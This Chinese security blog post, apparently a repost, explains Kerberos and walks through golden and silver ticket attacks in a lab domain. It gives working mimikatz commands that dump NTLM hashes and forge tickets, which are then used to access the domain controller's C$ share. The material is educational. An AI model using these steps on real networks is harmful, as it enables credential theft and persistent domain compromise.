金银票据传递攻击(Pass The Ticket)
2022-11-2 09:10:26 Author: 编码安全研究(查看原文) 阅读量:18 收藏

转自:韭要学安全

前置知识

Kerberos是一种计算机的认证协议,在域中,依旧使用kerberos作为认证手段。他提供了一种单点登录(SSO)的方法,比如打印服务器、邮件服务器和文件服务器。这些服务器都有认证的需求,很自然的,不可能让每个服务器自己实现一套认证系统,而是提供一个中心认证服务器(AS-Authentication Server)供这些服务器使用,这样任何客户端就只需要维护一个密码就能登录所有服务器。

角色:

客户端(Client)、身份认证服务(AS)、票据授予服务(TGS)、普通服务器(Server

金银票据攻击

黄金票据、白银票据攻击是基于kerberos认证协议的攻击方式,常用来做后渗透域控权限维持。由于用户正常访问资源是也会请求服务票证,因此黄金、白银票据攻击具备很高的隐蔽性。

kerberos认证中,主要解决两个问题

第一个问题:如何证明你本人是XXX用户的问题。(身份问题,黄金票据所在的问题,AS负责)

第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的服务时,Server如何判断Client是否有权限来访问自己主机上的服务。(白银票据所在的问题,TGS负责)

Kerberos协议认证流程

Kerberos协议的基本流程是Client先通过AS(身份认证服务)进行身份认证,认证通过后AS会给Client一个TGT(票据授权票),Client将获取到的TGT发送到TGS(票据授予服务)进行身份验证,验证通过后TGS会给Client一个ST(服务票据),Client通过这个ST去访问指定Server上的服务。

伪造黄金票据

kerberos认证中,Client通过AS认证后,AS会给Client一个TGT,而TGT是通过域控服务器上krbtgt账户的Hash进行加密的,所以只有得到krbtgtHash,就可以伪造TGT来进入下一步ClientTGS的交互。而在有了黄金票据后,就跳过AS验证,不用验证账户和密码,所以也不担心域管来修改密码。意思就是,当攻击者能够获得krbtgtHash后,攻击者就可以伪造一张票据授权票,去伪造成域内的任意用户访问域内kerberos认证的所有服务。

下面是黄金票据演示(虚拟机实验环境演示,切勿带入实战):

环境:

域控windows server 2012 ip:192.168.4.136

域内主机 win7 (伪造方)ip:192.168.4.138

 feng.com

下面是域控上操作

权限维持krbtgt权限

以管理员运行mimikatz

下面是win7操作

dir \\WIN-T09MBKM9HIT.feng.com\c$

然后正常运行mimikatz

kerberos::golden /user:administrator /domain:feng.com /sid:S-1-5-21-2149019885-2061172686-904760113 /krbtgt:d0bea82cce69a2090f7309c418df2df2 /ptt

dir \\WIN-T09MBKM9HIT.feng.com\c$

拿到票据能读c盘,然后用psexec直接连

成功了。。。

要进行下一个白银票据实验记得删除票据,执行klist purge就行

下面附上黄金票据演示视频:

伪造白银票据

黄金票据攻击是伪造TGT,白银票据攻击是伪造ST,在kerberos认证协议的第三步,Client带着STServer上的某个服务进行请求,Server接收Client的请求,验证通过后允许Client使用Server上的指定服务。所以只要有了服务器管理员账户的Hash,就能跳过向TGS请求ST的过程,可以直接伪造ST使用Server上的服务。

下面是白银票据演示(虚拟机实验环境演示,切勿带入实战)

环境:

域控windows server 2012 ip:192.168.4.136  (这里假设他是域内普通机器)

域内主机 win7 ip:192.168.4.138   (这里是伪造者)

利⽤mimikatz抓取win2012的NTLM哈希以及域的SID

privilege::debug

sekurlsa::logonpasswords

WIN-T09MBKM9HIT$

WIN-T09MBKM9HIT.feng.com

NTLM : f7aaded48413c8b1a4e9d8eae18309fe

Sid是:S-1-5-21-2149019885-2061172686-904760113

win7上⽤mimikatz

查看当前已有票据:kerberos::list

或者cmd命令⾏:klist

清除已有当前所有票据:kerberos::purge

生成票据

kerberos::golden /domain:feng.com /sid:S-1-5-21-2149019885-2061172686-904760113 /target:WIN-T09MBKM9HIT.feng.com /service:cifs /rc4:f7aaded48413c8b1a4e9d8eae18309fe /user:administrator /ptt

最后用cmd访问cifs服务

dir \\WIN-T09MBKM9HIT.feng.com\c$

成功了。。最后可以和上面黄金票据实验一样执行klist purge删除票据。

下面附上白银票据演示视频:

黄金票据和白银票据的区别

1.访问权限不同

黄金票据:伪造票据授权票(TGT),可以获取任何kerberos服务权限。

白银票据:伪造服务票据,只能访问指定的服务。

2.加密方式不同

黄金票据:由krbtgtNTLM Hash加密。

白银票据:由服务账号(通胀为计算机账户)的NTLM Hash加密。

3.认证流程不同

黄金票据:利用过程需要访问域控。

白银票据:不需要访问域控。

文章内容为个人笔记,部分内容为网上复制粘贴的,如有雷同或侵权,可以公众号联系我删除文章。

文章仅供学习参考,过程也是利用本地虚拟机演示,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者和本公众号无关。

注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247497127&idx=1&sn=5eca163c78a8eb3734163f5438ebb8a0&chksm=ce64a6c2f9132fd4651d72266b735dd4e78a32ac52503ad8161dd58168e49889d8590754f12f#rd
如有侵权请联系:admin#unsafe.sh